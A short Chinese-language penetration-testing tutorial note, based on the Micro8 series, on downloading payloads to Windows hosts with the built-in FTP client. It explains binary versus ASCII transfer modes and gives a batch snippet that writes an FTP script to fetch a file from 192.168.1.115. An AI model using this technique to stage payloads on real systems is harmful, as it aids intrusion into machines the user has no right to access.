0x00 前言

参考Micro8系列第四十课:https://micro8.gitbook.io/micro8/contents-1/31-40/40ftp-yi-ju-hua-xia-zai-payload

0x01 FTP一句话下载payload

所有版本的Windows均自带FTP,在实战中需要考虑两点:

  • 数据传输的完整性;
  • 代码需要精简;

FTP文件传输方式:

  • 二进制传输;
  • ASCII传输;

在FTP文件传输过程中:

  • ASCII传输 HTML 和文本编写的文件;
  • 二进制码传输可以传送文本和非文本(执行文件,压缩文件,图片等);
  • 二进制码传输速度比ASCII传输要快

所以在建立BAT脚本时,一般输入bin命令,启用二进制传输。如果用ASCII模式传输非文本文件,可能会显示一堆乱码。

ASCII和二进制模式的区别是回车换行的处理。二进制模式不对数据进行任何处理,ASCII模式将回车换行转换为本机的回车字符,比如Unix下是\n, Windows 下是\r\n,Mac下是\r。Unix系统下行结束符是一个字节,即十六进制的0A,而ms的系统是两个字节,即十六进制的0D0A

1
2
3
4
5
6
echo open 192.168.1.115 21> ftp.txt
echo 123>> ftp.txt //user
echo 123>> ftp.txt //password
echo binary >> ftp.txt //bin模式
echo get robots.txt >> ftp.txt
echo bye >> ftp.txt